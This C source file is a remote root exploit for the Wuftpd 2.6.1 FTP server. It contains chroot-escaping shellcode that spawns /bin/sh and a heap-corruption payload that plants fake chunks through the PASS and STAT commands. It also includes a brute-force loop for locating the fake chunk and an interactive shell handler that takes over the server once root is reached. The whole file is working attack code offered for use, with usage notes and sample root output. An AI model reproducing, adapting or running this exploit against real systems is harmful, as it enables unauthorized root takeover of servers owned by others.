/********************************************************\
* Remote root exploit for Wuftpd 2.6.1                   *
* By truff (truff@projet7.org)                           *
*                                                        *
* Tested on Slackware 8.0                                *
* Usage:                                                 *
* $ ./p7wu261-5 -i 127.0.0.1 -s 0x0808abe0 -n 50         *
* Progress [                    ] 2%                     *
* OK baby, Enjoy ur root trip ...                        *
* uid=0(root) gid=0(root) groups=50(ftp)                 *
*                                                        *
* Parameters are:                                        *
* -i ip of the wuftd server                              *
* -s the adress we start bruteforcing to find the        *
*    location of our fake chunk                          *
* -n number of retries (look the code fore more details) *
*                                                        *
* Greetz to #root and projet7 members                    *
* Special Thx to klem, u el8 !                           *
* Special SeX to Carla, u so pretty :)                   * 
*                                                        *
*     www.projet7.org        - Security Researchs -      *
\********************************************************/


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


/*
 * RETADDR and RETLOC can be obtained with the wuftpd binary 
 * 
 * $ objdump -R /usr/sbin/in.ftpd | grep free | awk '{print $1}'
 * 000000000806dd98
 * $ objdump -t /usr/sbin/in.ftpd | grep '\<proctitle\>' | awk '{print $1}'
 * 0000000008075360
 *
 * We will use Solar Designer unlink tek so: 
 * RETLOC is 0x0806dd98 - 0xc = 0x0806dd8c
 *
 * RETADDR depends on the length of the hostanme hosting the ftpd
 *
 * $ ps ax | grep ftpd | grep -v grep
 *  1214 ?        S      0:00 ftpd: localhost: anonymous/blah: IDLE
 *
 * Since the shellcode will be stored into the password, we have to 
 * add the lenght of the string "localhost: anonymous/" to the 
 * address of proctitle to get the correct RETADDR value.
 * RETADDR is 0x08075360 + strlen ("localhost: anonymous/") = 0x08075375
 *
 * PASS_LENGTH and STAT_LENGTH are the length of the parameter passed 
 * in the password and the stat command. Those parameters are padded 
 * to 'feed' the heap. Try to keep STAT_LENGTH less than PASS_LENGTH so 
 * that the parameter of the stat command will be stored in the same
 * chunk as the password.
 *
 * CHUNKS_LENGTH is the length in bytes of fake chunks that will be
 * sended with the STAT command. Try to keep this value higher
 * than STAT_LENGTH and PASS_LENGTH to make it being allocated in 
 * a different chunk.
 */
 

/**********************************************************/
#define PASS_LENGTH   335          /* size of pass        */
#define STAT_LENGTH   245          /* size of stat param  */
#define CHUNKS_LENGTH 500          /* size of fake chunks */ 
#define RETADDR       0x08075375;  /* addr of shellcode   */
#define RETLOC        0x0806dd8c;  /* PLT free() - 12)    */
/**********************************************************/

#define FTP_PORT    21
#define MAX_LINE    512
#define TIMEOUT     2



/*
 * Kicking ass chroot breaking shellcode
 *
 * Escapes from /home/ftp/ (2 level transversal). If there are
 * more or less levels to escape, just change the 0x02 in 
 * "\xb1\x02" to the correct level of transversal needed
 */

char shellcode[] =
"\xeb\x58"             /* jump end:                        */
/* start: */
"\x5e"                 /* pop     %esi                     */
"\x31\xc0"             /* xor     %eax,%eax                */
"\x89\x46\x07"         /* mov     %eax,0x7(%esi)           */
"\x31\xdb"             /* xor     %ebx,%ebx                */
"\x31\xc9"             /* xor     %ecx,%ecx                */
"\x31\xc0"             /* xor     %eax,%eax                */
"\xf7\xe3"             /* mul     %ebx                     */
"\xb0\x46"             /* mov     %al,70                   */
"\xcd\x80"             /* int     80h                      */
"\x31\xc0"             /* xor     %eax,%eax                */
"\xb0\x27"             /* mov     %al,0x27                 */
"\x8d\x5e\x05"         /* lea     %ebx,[%esi+5]            */
"\x31\xc9"             /* xor     %ecx, %ecx               */ 
"\xb1\xed"             /* mov     %cl,0xed                 */
"\xcd\x80"             /* int     80h                      */
"\x31\xc9"             /* xor     %ecx,%ecx                */
"\x31\xc0"             /* xor     %eax,%eax                */
"\xb0\x3d"             /* mov     %al,0x3d                 */
"\xcd\x80"             /* int     80h                      */
"\xba\x2e\x2e\x2f\xff" /* mov     %edx,0xff2f2e2e          */
"\x8d\x5d\x04"         /* lea     %ebx,[%ebp+4]            */
"\xb1\x02"             /* mov     %cl,0x2                  */
"\x89\x55\x04"         /* mov     DWORD PTR [%ebp+4],%edx  */
"\x83\xc5\x03"         /* add     %ebp,3                   */
"\xe0\xf8"             /* loopne                           */
"\x89\x4d\x04"         /* mov     DWORD PTR [%ebp+4],%ecx  */    
"\xb0\x3d"             /* mov     %al,0x3d                 */
"\xcd\x80"             /* int     0x80                     */
"\x89\xf3"             /* mov     %ebx,%esi                */
"\x89\x75\x08"         /* mov     DWORD PTR [%ebp+8],%esi  */
"\x89\x4d\x0c"         /* mov     DWORD PTR [%ebp+12],%ecx */
"\xb0\x0b"             /* mov     %al,0xb                  */
"\x8d\x4d\x08"         /* lea     %ecx,[%ebp+8]            */
"\x8d\x55\x0c"         /* lea     %edx,[%ebp+12]           */
"\xcd\x80"             /* int     80h                      */
"\x31\xc0"             /* xor     %eax,%eax                */
"\xb0\x01"             /* mov     %al,0x1                  */
"\xcd\x80"             /* int     0x80                     */
/* end: */
"\xe8\xa3\xff\xff\xff" /* call start:                      */
"/bin/sh";


int xploit (long chunkaddr, unsigned char *ip);
void status_bar(int progress, int max);
int loop_recv (int sd, int verbose);
int sh(int sockfd);
int escape_iac (char *dst, char *src);



int main (int argc, char **argv)
{
  int i;
  int option;
  char ipserv[16];
  char *opt_list = "i:s:n:";
  long start;
  long bforce;
  long nbrforce;


  opterr = 0;

  while ((option = getopt (argc, argv, opt_list)) != -1)
    {
      switch (option)
	{
	case 'i':
	  strncpy (ipserv, optarg, sizeof (ipserv));
	  break;
	case 's':
	  start = strtol (optarg, NULL, 16);
	  break;
	case 'n':
	  nbrforce = strtol (optarg, NULL, 10);
	  break;
	}
    }

  if (optind != argc)
    {
      fprintf (stderr, "Bad arguments :\n");
      while (optind != argc)
        fprintf (stderr, " %s\n", argv[optind++]);
      exit (1);
    }
  

  /* 
   * At each new try, we add bforce to the suposed address of 
   * the fake chunk.
   * We substract 2 chunks from the total chunks we send because
   * we can't make the first or the last to be free without 
   * segfaulting in some __libc_free check.
   */
  
  bforce = CHUNKS_LENGTH - (CHUNKS_LENGTH % 16) - (2 * 16);


  /* 
   * Since the chunks are 8 byte aligned, we have to try for
   * start and for start + 0x8 for each suposed address
   */

  for (i=1; i<=nbrforce; i++)
    {
      if (i % 2)
	{
	  xploit (start, ipserv);
	  start += bforce - 0x8;
	}
      else 
	{
	  xploit (start, ipserv);
	  start += 0x8;
	}
      status_bar (i, nbrforce);
    }

  return EXIT_SUCCESS;
}


void status_bar(int progress, int max)
{
  int ratio, i;

  ratio = progress * 20 / max;
  
  printf ("\r");
  printf ("Progress [");
  for (i=0; i<20; i++)
    {
      if (i<ratio)
	printf ("#");
      else
	printf (" ");
    }
  printf ("] %d%%", progress*100/max);
  fflush (stdout);
}


int xploit (long chunkaddr, unsigned char *ip)
{
  int sock;
  struct sockaddr_in host;
  char line [MAX_LINE];
  char sline [MAX_LINE*2];
  char tmpc [MAX_LINE];
  int i;

  
    if ((sock = socket (AF_INET, SOCK_STREAM, IPPROTO_IP)) == -1)
    {
      perror ("socket");
      exit (EXIT_FAILURE);
    }

  memset (&host, 0, sizeof (struct sockaddr_in));
  host.sin_family = AF_INET;
  host.sin_port   = htons (FTP_PORT);
  host.sin_addr.s_addr = inet_addr (ip);

  if (connect (sock, (const struct sockaddr *)&host, sizeof (struct sockaddr_in)) == -1)
    {
      perror ("connect");
    }


  if (send (sock, "USER anonymous\r\n", strlen ("USER anonymous\r\n"), 0) == -1)
    {
      perror ("send login");
      exit (EXIT_FAILURE);
    }
  loop_recv (sock, 0);

  
  memset (tmpc, 0, MAX_LINE);
  memset (line, 0, MAX_LINE);

  /*
   * We use the uplink tek so, 4 bytes at RETADDR + 8 are 
   * overwritten. We put a jmp at RETADDR and 12 bytes of
   * dummy stuff avoid the shellcode to be overwritten.
   */

  *(short *)(tmpc) = 0x0ceb;  /* Jumpy Jack Flash :) */
  
  for (i=2; i<14; i++)
    {
      *(tmpc + i) = 0x90;     /* Dummy stuff (NOPs) */
    }

  /* 
   * We put the shellcode into the egg
   */
  for (i=14; i<(sizeof (shellcode) + 14); i++)
    {
      *(tmpc + i) = shellcode [i - 14];
    }
  
  /*
   * Padding stuff to align the adresse to be free on 4 bytes
   */
  for (i = (sizeof (shellcode) + 14 - 1); 
       i<(sizeof (shellcode) + 14 + (4 - ((sizeof (shellcode) + 14) % 4))); 
       i++)
    {
      *(tmpc + i) = 0x90;
    }

  /*
   * We complete the buffer with the address we think the fake 
   * chunk is.
   */

  for (i = (sizeof (shellcode) + 14 + (4 - ((sizeof (shellcode) + 14) % 4))); 
       i < PASS_LENGTH - 1; 
       i += 4)
    {
      *(long *)(tmpc + i) = chunkaddr;
    }

  *(tmpc + PASS_LENGTH) = 0x0;


  sprintf (line, "PASS %s\r\n", tmpc);
 
  memset (sline, 0, 2*MAX_LINE);
  escape_iac (sline, line);
  if (send (sock, sline, strlen (sline), 0) == -1)
    {
      perror ("send pass");
      exit (EXIT_FAILURE);
    }
  loop_recv (sock, 0);
  
 
  /*
   * Sending the fake chunks in stat param.
   */
  memset (tmpc, 0, MAX_LINE);
  memset (line, 0, MAX_LINE);
  
  for (i=0; i<CHUNKS_LENGTH; i += 16)  
    {
      *(long *)(tmpc + i + 0) = 0xfffffff0; /* p->prev_size */
      *(long *)(tmpc + i + 4) = 0xfffffff0; /* p->size      */
      *(long *)(tmpc + i + 8) = RETLOC;     /* p->fd        */
      *(long *)(tmpc + i +12) = RETADDR;    /* p->bk        */
    }
  
  *(tmpc + CHUNKS_LENGTH) = 0x0;
  
  sprintf (line, "STAT %s\r\n", tmpc);

  memset (sline, 0, 2*MAX_LINE);
  escape_iac (sline, line);
  if (send (sock, sline,strlen (sline), 0) == -1)
    {
      perror ("send stat");
      exit (EXIT_FAILURE);
    }

  loop_recv (sock, 0);
  


  /* 
   * Sending the STAT ~{ with dummy stuff (0x41) 
   */
  memset (tmpc, 0, MAX_LINE);
  memset (line, 0, MAX_LINE);
  
  for (i=0; i<STAT_LENGTH; i++)
    {
      *(tmpc + i) = 0x41;
    }
  *(tmpc + STAT_LENGTH) = 0x0;

  sprintf (line, "STAT ~{%s\r\n", tmpc);
  

  if (send (sock, line,strlen (line), 0) == -1)
    {
      perror ("send stat");
      exit (EXIT_FAILURE);
    }
  
  return (sh (sock));
}


int loop_recv (int sd, int verbose)
{
  fd_set fds;
  struct timeval tv;
  char line[MAX_LINE];
  int tmp=0;

  while (1)
    { 
      FD_ZERO (&fds);
      FD_SET (sd, &fds);
      tv.tv_sec = TIMEOUT;
      tv.tv_usec = 0;

      memset (line, 0, MAX_LINE); 

      if (select (sd + 1, &fds, NULL, NULL, &tv) == -1)
	{
	  perror ("select");
	  exit (EXIT_FAILURE);
	}
     
      if (FD_ISSET (sd, &fds))
	{
	  if ((tmp = recv (sd, line, MAX_LINE, 0)) == -1)
	    {
	      perror ("recv");
	      exit (EXIT_FAILURE);
	    }
	  if (tmp == 0)
	    {
	      fprintf (stderr ,"Socket fermee\n");
	      exit (EXIT_FAILURE);
	    }
	  if (verbose) 
	    {
	      printf ("%s\n", line);
	    }
	}
      else 
	{
	  return -1;
	}
    }
  
  return 0;
}



/* 
 * Shell function ripped from some wuftpd 2.4.2 exploit
 */
  
int sh (int sockfd)
{
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;
  
  strcpy(snd, "id;\n");
  write(sockfd, snd, strlen(snd));
  read (sockfd, rcv, sizeof(rcv));
  
  if (strstr (rcv, "uid=0") == NULL) return -1;

  printf ("\nOK baby, Enjoy ur root trip ...\n");
  printf("%s", rcv);

  while (1)
    {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
      
      maxfd = (fileno(stdin) > sockfd) ? fileno(stdin) : sockfd;
      maxfd++;
      select(maxfd, &rset, NULL, NULL, NULL);
      if(FD_ISSET(fileno(stdin), &rset)){
	bzero(snd, sizeof(snd));
	fgets(snd, sizeof(snd)-2, stdin);
	write(sockfd, snd, strlen(snd));
      }
      if(FD_ISSET(sockfd, &rset))
	{
	  bzero(rcv, sizeof(rcv));
	  if((n = read(sockfd, rcv, sizeof(rcv))) == 0)
	    {
	      printf("EOF.\n");
	      exit(0);
	    }
	  if(n < 0)
	    {
	      perror("read");
	      exit(-1);
	    }
	  fputs(rcv, stdout);
	}
    }
}


int escape_iac (char *dst, char *src)
{
  int i;
  
  for(i = 0; i<strlen (src); i++)
    {
      if(src[i] == '\xff')
	{
	  *dst = '\xff';
	  dst++;
	}
      *dst = src[i];
      dst++;
    }
  return 0;
}


